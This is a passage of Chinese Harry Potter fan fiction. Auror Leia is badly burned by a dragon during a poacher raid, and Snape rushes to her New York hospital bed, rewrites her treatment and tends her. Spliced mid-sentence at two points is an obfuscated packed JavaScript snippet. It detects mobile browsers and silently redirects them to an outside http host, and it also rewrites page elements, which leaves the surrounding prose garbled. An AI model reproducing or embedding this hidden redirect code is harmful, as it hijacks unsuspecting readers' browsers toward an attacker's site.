乔纳森低下头,轻挥魔杖,一阵轻风刮过,落叶被吹拂到道路两侧,露出中央一片有杂乱踩踏痕迹的地面,以及散落的断裂枯枝。仔细分辨,空气中弥漫着一股柴火与食物的气味。 大概是附近了。 “Revelio(原形立现)。”乔纳森抬手示意另外二人噤声,魔杖直指前方。 随着他的咒语落下,小溪旁骤然显现出一顶黑色帐篷,在这样自然的风光底下像是某种人带来的不祥之兆,尤为突兀。 “我叫支援。”乔纳森眉头紧锁,立即拿出贝壳状的通信器,魔杖飞快地敲了敲表面。然而,就在他马上要收起通信器的须臾,一个黑衣男人突然从帐篷走出。 没有犹豫的时间,蕾雅举起手腕,魔杖尖即刻迸发出一个统统石化。对方应声僵直倒地,紧跟在后,是贾斯廷这边的打出一道束缚咒。最后,蕾雅谨慎地补上昏迷咒,变出一副魔法手铐将其铐在树底。两个人的这一气呵成动作都是依照训练那样来的,配合得天衣无缝。 乔纳森扬起眉毛,没有表现得太过吃惊,他再度使了几个原形立现咒,确认帐篷内外再无其他人。他稍稍抬了抬下巴,让蕾雅和贾斯廷立在门口两侧,自己则谨慎地用魔杖轻轻挑开帐篷虚掩的门帘一角,朝里面看了一眼。 “偷猎者的帐篷。”他轻声说,“似乎有不少神奇动物,我们还是等支援——。” 他话音未落,就被一个微弱的呼喊声打断:“有人吗——救命……”似乎是从帐篷深处发出的。 三人同时僵住,蕾雅握着魔杖凑近乔纳森,“怎么会有学生在里面?这怎么办?” “啧。”乔纳森咂了咂嘴,抬手又是三发原形立现咒语,“我们救人,趁他们的同伴回来前,反正支援应该很快就到了。” 下一刻,三个人各自补上幻身咒,毫不迟疑地钻进帐篷。 显然,这是被施加过无痕伸缩咒的帐篷。帐篷内的空间出奇宽阔,头顶是被调节得与外面天气一致的魔法天空。从天花板边缘垂坠下来的帘布高低错落,像极了斯拉格霍恩教授宴会上常用的华丽布置。 这些都让人轻易忘却这是个残忍的地方——掀开右侧的帘布,一股浓烈的血腥味扑面而来,靠墙的地面令人吃惊地垒着一排笼子。有被施加了昏睡咒的神奇动物困在其中,不少还伤痕累累,铁锈般的干涸血迹一路沿着金属细框,染红了地板。蕾雅认出了几只奄奄一息的雷鸟幼崽和毛发勒得都脱落开的月痴兽,心中随之一震,她下意识地别开脸。 “救——命——” 呼喊的声音愈发清晰,他们绕了一圈,发现是从靠里侧的一扇帘布后传来的。 凌空划出的原形立现咒没有显示出隐藏或者伪造的空间,蕾雅径直走到帘布的侧面,伸出魔杖试探般碰了碰这块纺织物。触感比想象中的更为厚实,这面幕布比看起来厚得太多,很有可能是在掩盖后面隐藏的空间——于是,她小幅度地凝聚魔力,灰白魔杖轻轻一挑,整块帘布轰然坠落,露出一个低矮的入口。 乔纳森突然伸出手臂拦住他们。他面色凝重地盯着两个人几秒,果断地命令道:“莱恩哈特跟我进去,芬里列,你守在外面。” “有人吗……救……” 钻过去,后方是一条老旧狭窄的木走廊,木板在脚下发出躁动的咯吱声。两人警惕着快步穿过,远远地就看见尽头房间地板上蜷缩着一个背对他们的身形。大概是个学生,身穿遍是尘土伊法魔尼校袍,他的双手双脚都被束缚咒控制住了,脸埋在手臂之间,姿势非常狼狈地伏在那里。 “太好了……是有人来了吗?”地上的人低低地咕哝一声,听到脚步声时略微偏过头,挣扎着想要坐起来。 “你没事吧?我们是傲罗。”乔纳森踱到那人的身边,单膝跪下,用一只手将他翻了过来,并没有立即解开束缚咒,只是低声问:“你叫什么名字?为什么会在这里?” “我叫哈文,哈文·戴维斯。”那个学生脸色白得如一张纸,茫然地环顾四周的景象,对二人挤出一个虚弱的笑容,“我好像……被抓了。” “你被抓了?你为什么被抓?”站在后方一点的蕾雅靠近几步,询问道。 “我在附近观察神奇动物,有一篇论文要写。”哈文轻咳两声,话语间气若游丝:“然后不小心听见他们的话……” “他们?”乔纳森转过头来瞥了蕾雅一眼,眼神警觉。 “观察什么神奇动物?”蕾雅察觉到乔纳森的意思,继而不动声色地追问。她搁在背后握紧魔杖的手一点点挪到身侧。 这件事怎么想都太奇怪了,她的感觉越来越不好,甚至无任何礼貌可言地对上哈文的眼睛,想要从里面捕捉不寻常的踪迹:“你听见了什么?他们到底为什么要抓你?” “我在观察……”哈文嗓音变得有些喑哑,只好又咳了一声,汗珠顺着他的鬓角滑落。 见到哈文脸上划过的一丝犹豫,蕾雅不想再给他喘息的机会。她手腕轻转,迅速出声:“Legilimens!(摄神取念)。” 她的魔力迅速侵入哈文的大脑,这个哈文的记忆如同洪流一样灌进蕾雅的意识。 她丝毫不想去控制力度,毫不留情地在哈文的记忆中翻找。不一会,她就看见一群黑影穿梭在树林之间,搜寻神奇动物的巢穴。她接着挑开他的深层记忆,就看见一片夜色中万家灯火的繁华都市、河水奔流、大桥震颤、山脉横亘——梅林,那是布鲁克林大桥和东河河水! 几乎就是反应到这件事的同时,蕾雅猛地中止摄神取念,急切吼出声:“乔纳森!马上离开原地!” 但已经来不及了。 惊天的龙啸声把地板全部震碎,木板崩塌裂开,如同夜空爆炸的烟花般四散纷扬。同一时间,蕾雅立即幻影移形到乔纳森的身边,抓起他的手臂要带他离开。然而,刚刚还一脸虚弱的哈文忽而自己解开束缚咒,面上挂着狰狞的笑容,一举魔杖,把面前两人的魔杖打落地板,幻影移形也随之取消。 “快躲开!”乔纳森大喊一句,艰难地推开蕾雅。 很快,一股炽热的气浪从地下喷溅涌动。不敢去细想那是什么东西,蕾雅和乔纳森踉跄地滚向一边,蕾雅举起手腕,想要不用魔杖放出最强力的防护咒。巨大的黑影从各种碎片间腾空冲出,宛如一座无形的火山拔地而起,竟然是一头龙。哈文顺势骑上腾飞的龙,挟裹的呼啸气压擦过蕾雅和乔纳森的脸,将两人狠狠压在墙边,动弹不得。 接踵而至的是灌满整个空间的高温,火光铺天盖地。星火四溅的一刹那,龙的烈焰凌空绽放成怒涛,挣扎之间能望到的,只有遍地的狂焰旋涡。帐篷和木板早已被大火吞噬殆尽,再强的防护咒都难以抵御这样强大的力量,两个人被炙热的气流掀翻,直直地抛出去,重重摔落在化为橘色火海的地面。 滚烫,疼痛。 骨头断裂了,皮肤也好像被活生生地撕开了。 是血肉焦味,灼烧感从后背蔓延到四肢百骸。 “蕾雅!乔纳森!你们还好吗?!支援来了!” 贾斯廷变了调的呼喊声从不远的地方传来,却仿佛隔着滚滚浓烟,距离越来越远,越来越模糊,再也无法触及。 被炙烤的极度痛苦中,蕾雅蜷缩着身体,唯一还能动的左手用力握住胸前的戒指。 一切都发生得太快了,快到大脑没能反应过来到底发生了什么,整个世界就静止在炽热与痛楚之间,记忆被拉扯为一片空白。 …… 空气中弥漫着羊皮纸散发的古旧气味,颇让人感觉到一种“时间”的浸染。 教师休息室现在堆满了厚厚的古老书卷,是几位教授们为了修订教材从各处搜罗过来的珍贵资料。 “顺带一提,三强争霸赛的方案,魔法部已经通过了。”斯内普坐在长桌前,双腿交叠,面无表情地看麦格教授挥动魔杖将地上的书分类堆叠,按照学科和年代排放整齐。 “我真希望他们别搞得那么复杂,实在没什么意义。”弗立维教授站在一旁的书堆上,如同指挥乐队一样点着魔杖,十几本书轻快地飞到斯内普身后的空地,自动垒砌成高高的一纵。 “我同意,可是主办方毕竟不是我们。”麦格教授无奈地叹了一口气,托了托眼镜,“经过上次, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850134|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我对获得火焰杯都不抱兴趣了,只希望我们的学生能够平安归来。西弗勒斯,你不如带上德拉科,也算多个帮手。” 斯内普垂下抵在下颚的手臂,声音平淡直白地答复道:“还是算了,我可不想听霍拉斯的抱怨。”他收好桌上的东西起身,“行了,抓紧时间。毕业典礼别迟到。” “当然不会,我听说哈利他们要回来为金妮庆祝毕业。”麦格教授愉悦地说着,又扭过头,看向走到门边的黑发男巫背影:“对了,蕾雅今天不回来吗?” 手已按在门环上的斯内普一顿,踌躇几秒,低声应道:“不,她说走太多人不好。” “还是想的那么周到,那孩子。”弗立维望着书本在半空快乐飞舞的弧线,也乐呵呵地评价起来。 不知道为什么,每当霍格沃茨举办毕业典礼时,总会是晴朗的好天气。 今天是斯内普在霍格沃茨经历的第18个毕业典礼,哦不对,应该是第19个,还得算上他自己的。 只是,对他来说,反而是漫长到煎熬的一天——毕竟是从早上的教师例会一直忙到夜晚的欢庆宴会。 就在1999届毕业典礼上,斯内普冷眼看那救世三人组匆忙地出现在观众席,其中两个人晒黑不少,身上还明显带着美国格雷洛克山顶干爽微热的气息。他们手捧鲜花和礼物簇拥上主席台,为近几年最后一位韦斯莱毕业生和洛夫古德庆祝。 到了晚上,夜幕又一次降临霍格沃茨的大地。斯内普机械式地读完那份开场致辞,又冷眼看到这几个人儿在舞池中欢快地扭作一团。撇开些视线,他瞥见在德拉科臂弯中泛红着脸的阿斯托利亚,以及角落的花丛前,布莱克一脸沉醉地搂着新上任的神奇动物教授的腰,一圈圈旋转舞步。 对这些一向无动于衷的斯内普,在开场的半小时后,毅然决定把艰难的任务交给热爱凑热闹的邓布利多,自己则准备就这样离开礼堂。然而,就在他要推开礼堂侧门的时候,那个救世主突然从舞池跑来,停在他面前。 “蕾雅让我们带给你的。”哈利以极低的音量告诉斯内普,别扭地递上一份包裹精致的礼物。 黑色的眼珠无光到近乎空洞,斯内普沉默地伸手拿走盒子,转身走出大厅。 六月的晚风夹杂着白日未散尽的温热,禁林那边飘来的花香沉浮在落满星河的黑湖。银白色的月光给这一切镀上一层幻美,朦胧缥缈,却又闪闪发光。 一如既往,城堡里的人都集中在礼堂附近,忙忙碌碌地顾着庆祝、欢呼和合影。躲开喧闹的学生们,心想着大概学生们也不想被他撞见,他最终独自漫步到黑湖边,找到隐藏在一块巨石后的长椅。坐下后,他从口袋里拿出那份礼物,借着澄澈的星月光辉,仔细拆开。 最先映入眼帘的先是一张照片。 照片里,一身傲罗工作套装的她倚靠在美国魔法国会的正门前,笑容温暖动人。 其实在她买相机的那天,她就告诉他了,只是对会为他送来照片的事有所保留。所以在看见这张照片的时候,斯内普不可自抑地感到略微意外。他抿起嘴角,小心地收好照片,继续拆底下的小物件。 这傻瓜,怎么又为他浪费钱了? 他立刻在心中做好等下在通话时要严厉叮嘱她的打算。 静静躺在深蓝色绒布包装盒内的,是一只银色的怀表。表盘设计独特,除了常规的时分秒针外,另有一根指针,指针的顶部不是平常的尖尖,而是一个饱满的小圆。表盘中央刻着一行小字:无论身在何处,我都爱你(Wherever I am, love you as always),另有几个如同月相盈缺的小点,装饰在下。 他认得出来是她的字迹,而随着礼物也附有一张她手写卡片,写道:西弗,这是个能知道对方大概位置和状态的怀表,猜你会喜欢。爱你。 斯内普愣了愣,摆弄了一下表盘,果然,那根独特的指针始终指示着同一个方向。他大致推断一下,现在指向的是西北方向,大西洋沿岸的马萨诸塞州的位置。那么,这个饱满的小圆,也就意味着她状态良好了吧? 从湖面漫漾过来的微光和凉意同时亲吻他的脸,他深呼吸一口这种清冷,将怀表收入外套口袋。 一个人在黑湖边静坐片刻,等到快九点的时候才起身离开,拖着慢悠悠的脚步在城堡里巡查一圈。 刚拐进图书馆塔楼,他就听见悠扬钢琴的声音。 脚步不由自主地停下,他循声往那间熟悉的教室迈去。并不是在期待什么,仅仅是不能放任学生在这个时间点逗留城堡。果不其然,透过门缝,他看到两个穿着蓝色和绿色晚礼服的毕业生坐在琴凳上,四手联弹,有说有笑。 “真是精彩绝伦的演出,让我都后悔没有在晚会上给你们安排个节目,好让全校师生也有幸一睹你们的才艺了。”斯内普推门而入,带着一身尖锐的讥讽掐断琴声:“但既然这并非今晚的计划,我强烈建议——现在,立刻,返回你们的公共休息室。除非,你们愿意在学生生涯的最后一天,还连累学院丢失分数。” “校长?!”两个学生被这一股脑抛出的长难句吓得不轻,先是反应了半晌,才一边道歉连连,一边头也不回地抱起乐谱离开。 斯内普没好气地看着他们跑到远处的背影,之后转去一趟地窖。他其实也没料到,德拉科会乖乖地一个人在那里。两人便花了些时间,察看德拉科进行到一半的魔药改良,还讨论了那份差不多完成的《魔法药剂与药水》订正稿。 终于返回校长室,安置她送来的东西——照片被嵌在用变形咒做出的相框中,细致地放进抽屉第一层腾出的空间。他顺便望了望墙上的时钟,收回目光的片刻又掠过桌面上的双面镜。 她今天,大概也要晚一点。 这么想着,他拿起镜子步入卧室,和平常一样,换下黑色长袍脱去外套,把镜子撂在浴缸旁的矮架,去洗了个澡。 直到重新坐回到沙发,双面镜都依然漆黑,没有丁点要亮起的迹象。斯内普垂下眼盯了一会,胸口忽而浮现出一种莫名其妙的焦灼。他咽下喉中的干涩,只好召来一本炼金术士,给自己泡上一杯洋甘菊茶,尝试通过阅读来平复心中升起的不适。 时钟一步步踏出的滴答声在寂寥的房内回荡,他快速抬眼瞥一眼,时针已然跨越十一点。她从未这么晚不联系他,即使再忙碌巡逻的时日,她也会在途中抽空跟他报个平安,自那次报道的事件过后的每一日都没有例外。前阵子的报道在脑中一闪而过——不会的。 一定不会的,再等等吧。 可什么都做不了的等待,永远是最令人心烦意乱的。这种感觉,就像有细小的虫蚁爬上他的每一寸,一点点啃咬、撕裂他的皮肉,钻进骨髓深处,从那里滋生出种种骇人的、可怕的恶念,血液都因此染成浓稠的黑。 他一页又一页地恍惚翻书,那些复杂的魔药公式和注释却仿佛变成团团悬浮在视网膜外的乌黑符号,不仅全然无法理解,还纷纷重组成了她温柔的笑颜与在他耳边淘气低语的模样。 ——“西弗勒斯。” “啪。” 书本随着他蓦然松手的动作滑落到沙发底下,他却毫无要捡起的意思。胸膛在缓缓起伏,勉强稳住心绪后,他才发现自己的身体已然寒凉到快没有知觉,额角也被他无意识揉得作痛。就在此时,一个念头忽而浮现,他抽出魔杖,从外套口袋召唤来她送的那块怀表。 冰冷的指尖触及到同样冰冷的金属外壳,顷刻间,墨黑的瞳仁猛然震颤。 明明该是盈满的圆月,此时怎么会幻成几乎难以看清的月牙?到底发生了什么? 90.怯 到处都是火,龙的咆哮声震颤耳膜,肆虐的烈焰掀起泛滥的高温,吞噬沿途每一寸土地。漫天焦黑的灰烬混着热浪灌进她的鼻腔、眼膜,火光刺目,浓烟腾腾,什么都看不清了。她不敢回头,只能拼尽全力向远离热源的地方奔跑——忽而,巨大的龙携着焰火怒涛就在眼前凭空现出,一张血盆大口猛猛张开,撼天的呼啸中,她看见火柱从它的鼻腔流窜,那红彤彤的龙喉间正凝聚成一团碍眼的亮色—— 她猛地睁开眼睛。 没有火,没有龙,眼前是一片模糊的白色光影,有药水的苦涩漫在鼻端。 然而,她依然感觉有燃不尽的炙热火苗在她的肌肤上跳动,那种撕心裂肺的灼烧痛感涌上她的每一根神经,迫使她的大脑运转,去甄别到底发生了什么事。 疼痛——哦,梅林,这意味着,她还活着。 蕾雅的意识渐渐聚拢,想起下午发生过的事,也反应过来现在大概是被送到医院,而且得到过治疗。 只是这全身的伤,比上一次面对卡罗兄妹时还要严重。因为她几乎动弹不得,只能任由清晰的痛楚一波波袭来,从背脊传导到她的指间,再冲上太阳穴。她呆呆地盯着前方——门口的方向,那里似乎正在发生一场激烈的争吵,而且—— “让我进去,这不是请求!” 一把她再熟悉不过的低沉嗓音,完全没有想到会在这里听得见——如果她还在美国的话。 “先生!请先回去吧!探视时间已经结束,而且为了病人隐私,只有直系亲属才能进入!”这很明显是一位女治疗师的声音,试图阻止执着的男人。 “让开!别逼我拿出魔杖!”当然,那个男人可从来不懂什么叫做顺从,他的话语甚至裹上不少急躁与愤怒,“我现在没有心情跟你们多嘴。” “教授,你冷静点……蕾雅在这里肯定没事的。”嗯?怎么她还听见了哈利·波特的声音。 “冷静?波特,这话从你口中说出来,你自己不觉得好笑吗?” 是怒不可遏的西弗勒斯。 蕾雅眨了眨眼,忍下心中翻涌起的万分惊讶,紧盯那扇禁闭的房门,一个想法在她的脑海渐渐凝固,瞬间,那扇木门便“砰”地兀自敞开了。 “好了波特,回去,按照我说的做。” “好、好吧,教授。替我向蕾雅问好。” 男人的反应极快,抢在惊愕的治疗师之前迈步侧身,径直闯入屋内。他面色阴沉如霾,黑袍比任何时候都像一阵卷席巨浪而至的飓风,而翻飞的袍角之后,是被他反手用力关上的木门。所有的喧嚣均被无情地隔绝在外,包括那位治疗师的拍门与呐喊:“先生!先生!你不可以锁门!喂!” “啊……” 梅林啊——蕾雅直勾勾地望着他,好像不认识他似的。 不亲身见他已有四月,在看见他的须臾,蕾雅的眼眶就不由自主地滚热起来。所有的疼痛、不安、委屈、后怕,都在这刹那间急剧放大。 刚关上门,斯内普的脚步就停滞了。他难以置信地看着床上人,瞳孔骤然收缩又微微扩大。他的胸膛猛地起伏一下,一阵钝痛旋即蔓延,就连要怎么去呼吸都快想不起那样。那平时深邃如静海的面容,此刻竟然有那么多焦虑、怒意、心疼,交织成团团层叠的暗云,久久无法消散。 听见她的抽搭细响,他勉强找回几分冷静,明白这里不需要再添一个受伤失控的人。尽管如此,他的嘴角还是不自觉地下沉得厉害,大步急促地踱去,踉跄的身形险些跪倒在她的床边:“蕾雅·莱恩哈特,不准哭。如果你不想弄疼伤口的话。” 面前的人被魔咒固定成一个侧躺的姿势,苍白如纸的脸庞上贴着纱布。除了左手,目及之处都被厚厚的绷带缠裹:她的脖颈、右肩、还有消失在薄被下面的部分。之前柔顺平直的长发大部分都被烧断,只剩参差不齐的发尾凌乱地搭在枕头上方,宛若他此刻零落的、同样被撕碎的心绪般,一地狼藉。 他蓦地移开些目光,略过病床旁边的床头柜。那里放着一个金属小盘子,盘中是她的魔法部徽章、两枚戒指、一个手环、一块镜子、还有烧焦的魔杖……都是她身上没被彻底烧坏的物品。 “……西……”她张了张嘴,却好像失去语言能力,嗓子干涩得如被龙炎燎烧过一样刺痛。 “别说话。”他俯下身,用指背稍稍蹭过她的额角,察觉到她有些在发烫。他不由自主地放轻声音,尽量掩饰里面沉满的、不比她少的痛楚:“我在这里。也听说过发生了什么事,让我看看伤口。” 蕾雅轻轻地点了点头,绿眸悬浮不少氤氲。斯内普抿紧唇线,在她的旁边坐下。他的黑发毫无生气地垂落,眉毛颦蹙在一处,从黑袍里探出的手小心掀开那层薄被,继而解//开她的病服。进入视野的,仍是交错折叠的绷带,从右手到肩膀,再到后背,一直往下,小腿和脚踝上也都是。偶有血痕浸透纯白的布料,他不用再看也了然,那底下是怎样血肉模糊的烧伤。 他缓缓扣好她的病服纽扣,几分钟过后,他的心脏仍能感受到一阵阵抽疼,胸腔内更是有越燃越猛烈的怒火,快要吞没他的理智,也许还连带他整个人。他不明白,为什么她会受到如此重的伤害。 “疼吧?”薄被被他轻柔地捂紧。 蕾雅再次点了点头,皱紧眉毛抽了一口气。 “那怎么会这么不小心?龙炎造成的伤,不会那么快痊愈,这还得疼好几天。”斯内普注意到她干裂的嘴唇,召来床头柜上的一杯清水,用指腹沾湿抹在她的唇上,往复几次,也让一些流入她的喉咙。 做完这些,他以轻微的力度触碰她的左手,仿佛在确认她是真的存在般按了下。洞察到他的不安,蕾雅回应般捏了捏他,与他的手交握在一起。 这种实实在在的温暖触感让她的心安踏实。蕾雅晃晃眼珠,目光最终定焦在他疲倦又急切的眉眼间。她舔了舔湿润的嘴唇,缓吸一口气,从喉间发出气若游丝的吐息:“你怎么……来了?” 他怎么来了? 不过是半夜十二点半跑向麦格的卧室,叮嘱她守好霍格沃茨。再赶去格里莫广场,把西里斯·布莱克和哈利·波特从床上叫醒,顶着布莱克震天吼地的犬吠声,拎起睡眼蒙松的救世主脖子直奔魔法部交通司,通过紧急飞路网赶到美国。然后马不停蹄地让波特带他显现在伊法魔尼,在乱成一锅粥的巫师旅馆中找到米莉森特·斯威克,简单了解事情经过,得知蕾雅·莱恩哈特和另一名傲罗被火龙重伤,被紧急送往纽约的这家医院,而已。 西弗勒斯·斯内普可是常年游走在邓布利多与伏地魔之间,还得肩负教学、熬药、照顾一个学院小崽子的巫师啊,这些对他来说实在不算是多困难的事。 “哈利也……来了?”蕾雅挣扎着问更多的话,“伊法魔尼……怎样了?” 斯内普垂下眼,拨开她黏在嘴唇上的发丝,把它们归回她的耳后:“你只需知道除了你和另一名傲罗,没有人受伤,其余的事明日再说。至于波特,我让他先回去了,总要有人等天亮去通知邓布利多和你父亲。” 天亮?蕾雅恍然反应过来,对斯内普来说现在应该是深夜时分。 也就是说,他是等不到她的联系,又看到那份礼物,就过来找她了?甚至没有任何踟蹰? 这个时候,房门外再度响起治疗师的叫喊,夹杂着金属物件的清脆碰撞声:“先生!你不能这样!既然病人醒了,我需要查看她的状况,而且,她今天还没有进食!” 斯内普淡淡地瞥向房门,不紧不慢地问蕾雅:“饿吗?” 蕾雅怔愣着,绿色的眼眸也木然地转向那扇门,随即收回来定格在斯内普不悦的面孔,颤悠悠颔首:“嗯,有点。” 扯了扯唇角,斯内普对着门轻挥魔杖,解除了锁咒。门口的治疗师立刻推入一架装满仪器和药剂的小车,脸上的恼火跟小车上的物品一般多: “这真的很过分!这位先生,我明白你的心情,但这样做只会打扰病人。” “是吗?”斯内普漫不经心地侧过脸,瞄向蕾雅:“你要不要问问病人,我打扰到她了吗?” 蕾雅的唇边勾出浅淡的笑意,摇了摇头,柔声安抚治疗师:“抱歉,医生……我想,他就是太担心我了。” 也许是察觉病人的精神状态尚好,治疗师的脸色稍有缓和。她提起魔杖来到蕾雅的床边,撤销那道固定她身体的魔咒。斯内普知道治疗师是要为她做检查,便谨慎地扶她坐起,让她把身体的全部重量都放在他身上。 治疗师先是检查一番她的状态和绷带渗血的情况,然后举起魔杖,魔杖尖端冒出一丁点绿色的微光:“看向我的魔杖,追随这个光源。……很好,接下来我要对你使用魔咒检查,这不会对你造成伤害。” 说完,几道同样莹绿色的光带从治疗师的魔杖尖游走而出,柔和地缠上蕾雅的四肢,“很好。看来骨头我们已经治好了,但是龙炎造成的伤口是需要时间去痊愈的,这也是你在发烧的原因。现在,我解除了固定的魔咒,你应该可以自由活动了,请试试看能不能举起手。” 蕾雅按照她说的试着抬手。没怎么受伤的左手很轻易地就抬到与肩平齐,但有烧伤的右手刚举过手肘的高度,就感到强烈的紧绷感和烧灼痛。她龇牙咧嘴地放弃了。 “嗯,跟我预想的差不多。”治疗师收起魔杖,提笔刷刷记录下蕾雅的状况,“接下来就是上药和等待恢复了,也许要三天。” 斯内普闻言抬起头,冷硬地端详治疗师:“三天?你是她的主治医生?” 治疗师顿了顿,疑惑地从记事板望向这位多事的男巫,不耐烦地答:“是的,有什么问题?” “我需要看你给她拟定的治疗处方。”斯内普直视对方双眼,语气挟裹上些许咄咄逼人的质疑:“据我所知,要想龙炎伤口的完全愈合,时间没有短于一周的。你是准备使用什么药水?” 感到被挑衅的治疗师扬了扬眉毛,她关上记事板,强压住自己的怒气:“先生,从刚才起你就在阻挠治疗。这可是全美最顶尖的巫师医院,我们的方案是经过验证的,你只要知道这点就行了,我们没有必要、也不会向一个外行解释药剂成分。”说到这里,她忍不住白斯内普一眼,这种人她见得太多——仅凭一点浅薄的知识,就自以为有资格对专业医生指手画脚。 “外行?”斯内普冷笑出声,毫无退让地对治疗师说:“我是西弗勒斯·斯内普。如果你与我一样是国际魔药学协会的成员,一定听过我的名字。如果没有,那很遗憾,我不认为你具备治疗她的能力。请允许我为她申请一个更有资格的医师。” 治疗师的身形在这瞬凝固住,她瞪大眼睛:“斯内普?英国霍格沃茨的斯内普教授?成功制作了邓布利多起死回生药的那位?”话毕,她十分古怪地打量他,似乎怎么也难以相信这个一脸苦情,毫不听劝,执拗地守在病床旁的男人会是当代赫赫有名的魔药大师。 但是,这个男人一副凛冽峻傲又游刃有余的神态,眼角还无意间透露出犹如寒霜的透彻,这些都不是平庸之辈所能拥有的,他确是一位实力高深的巫师。 “现在,把治疗方案给我。如果合理,我不会再说什么。”斯内普催促道。 治疗师只好闭了闭眼,低叹一口气,犹犹豫豫地把记事板递出去。 斯内普漠然地用一只手接过,飞快浏览一遍,一气呵成般凌厉啧一声,评价到:“你这个治疗方案是不是太过激进了?你是想她留下疤痕吗?” “在这个情况下,我认为我们更应该优先考虑愈合。这么大面积的龙炎伤口,想要完全不留疤是不可能的。”治疗师双手交叠按在身前,不卑不亢地说:“况且,这在傲罗群体中并不是什么罕见的事。许多人甚至将这些伤疤当作战斗的勋章。” 听见这些话,斯内普的眼色陡然变得锐利,像块被烧得通红的烙铁,狠狠地烫在那名医师的脸上:“不可能不留疤?那是因为你不愿尽力。……无所谓了,笔给我,按我列的清单配药,有什么后果,我与她自行承担。超出傲罗办公室可预支的费用,也由我来支付。” 治疗师茫然地张大嘴,一直沉默的蕾雅则轻轻咳嗽。她高热的额头贴在他的颈侧,垂下左手替斯内普扶稳那块按在被子上方的记事板。斯内普没有阻止她的行动,指间的羽毛笔已然笃定地列下长长一串药方,潦草的笔迹如长蛇般爬在纸上,里面许多材料名是她闻所未闻的。写完后,斯内普斟酌检查一遍,才送回记事板:“先按这些用两天,我看看效果。如果配药步骤有不清楚的,我不介意亲自去你们制药室配药。” 读过药方的治疗师,脸色愈渐难堪。可是这份过于“精准”又“大胆”的配方实在是让她自叹不如,只好默默地收起记事板,努力保持平稳的语调:“好吧,我与配药师商量一下。我现在去让看护士给她送点餐食。”她从小车上翻出两瓶魔药,放在床头柜上,嘱咐道:“饭后服下。” 斯内普顺着药剂的方向一撇,辨认出是医院特制的缓和剂和散热剂,便应声:“知道。” 见收好东西的治疗师转身要走,蕾雅忽而开口:“乔纳森……他怎么样了?” “那个傲罗伤得比你严重,还在昏迷,但没有生命危险。”治疗师停下脚步,回答道。推动小车走到门口时,她回头补了一句:“用完餐后,好好休息。至于斯内普教授,我这次就对看望时间睁一只眼闭一只眼了。” “感谢。”斯内普终于收敛话音里的尖锐,蕾雅无意识揪了揪他的衣袖,同时礼貌地对治疗师说:“真的很谢谢您。” 不久,看护士端来餐食的托盘——一份清淡的燕麦粥、鸡蛋土豆泥、软烂的蒸蔬菜,小块全麦面包,切成细片的苹果,随餐饮品是一小杯南瓜汁。看护士狐疑地凝望坐在床上没一点打算离开的男人,小声问:“需要我帮忙吗?” “不用。”果然,男人干脆答道。 “我自己能吃。”蕾雅小小地抗议,“我左手还能用呢。” 虽然事实是这样,她毕竟还处在恍惚的高热中,而且还因为背后的伤,无法靠在床边,连保持坐姿都变成一件需要花费力气的事情。所以,斯内普还是全程照顾她的每一个动作,避免有没拿稳而溢洒出来的食物汤汁落到她的伤口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867815|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你呢?要不要也吃点?”吃过东西,蕾雅精神好很多。她把剩下的南瓜汁推给他,担心地询问:“现在英国时间是三点多了吧,西弗?你早就该休息了,你不如回去吧?或者到我的宿舍去睡一觉?” 斯内普喝完她剩下的南瓜汁,随即以手背试探她额头的温度,边把那两瓶药剂打开,塞到她手里,边说:“等到你父亲来了,我会回去收些东西,也会跟邓布利多交代这几天的安排。” 蕾雅听出了他的意思,吞下苦涩的药水,咕哝道:“你……打算接下来在这里陪我?”她其实是惊讶的,她本以为,斯内普配完药方,每隔个几天来确认她的情况,也已是超出他应该做的了。“可是,现在霍格沃茨有那么多的事要忙,你实在不必……” “不然呢?”斯内普抬眼瞪她,没好气地打断她的话。他拿走她喝完的空药瓶和水杯,语气略带讥讽地反问到:“你觉得我会把你一个人留在这里?如果你不忍心霍格沃茨丢失它的校长,那就快点给我好起来。”他说着,伸手穿过她的发间,扫过不少被火炎烧得卷曲的发尾,不满地抱怨到:“明明不久前才答应我要小心。看来你的承诺跟邓布利多的一样,毫无可信度。” 听听,这是被邓布利多骗了多少次才得出来的结论。 一想到自己被斯内普归为了“邓布利多之流”,蕾雅不禁鼓了鼓嘴,牵起一个低婉的轻笑,试探性问他:“原来,你这么心疼我呀?” “闭嘴,莱恩哈特。”斯内普绷紧下颚,手指却在轻缓地理顺她的头发。 见到他这么在意的模样,蕾雅这才抬手摸了摸自己杂乱的头发,指尖很清晰地摸到那些长短不一、蜷曲烧焦的断发。在大概得知它们的惨状后,她开玩笑说:“幸好当时戴着帽子,不然这真要成光头了。如果是那样的话,你会嫌弃我吗?” “难道在你眼里,我是这么肤浅的人?”他终是不情愿地被她逗笑,轻嗤道。 蕾雅笑得愈发开心,差点扯疼伤口。她花了点时间平复自己,又抛出一个请求:“那,你能帮我剪一下发尾吗?我不想爸爸看到后会伤心。” “你确定?”斯内普挑起眉毛,很不确定地直视她的眼睛,是在确认她是否还在开玩笑。 “修整齐就好。”蕾雅笃定地回答,“等出院了,我再去理发。” 斯内普停顿半晌,随后变出一把梳子:“好吧,我试试,不保证结果。” 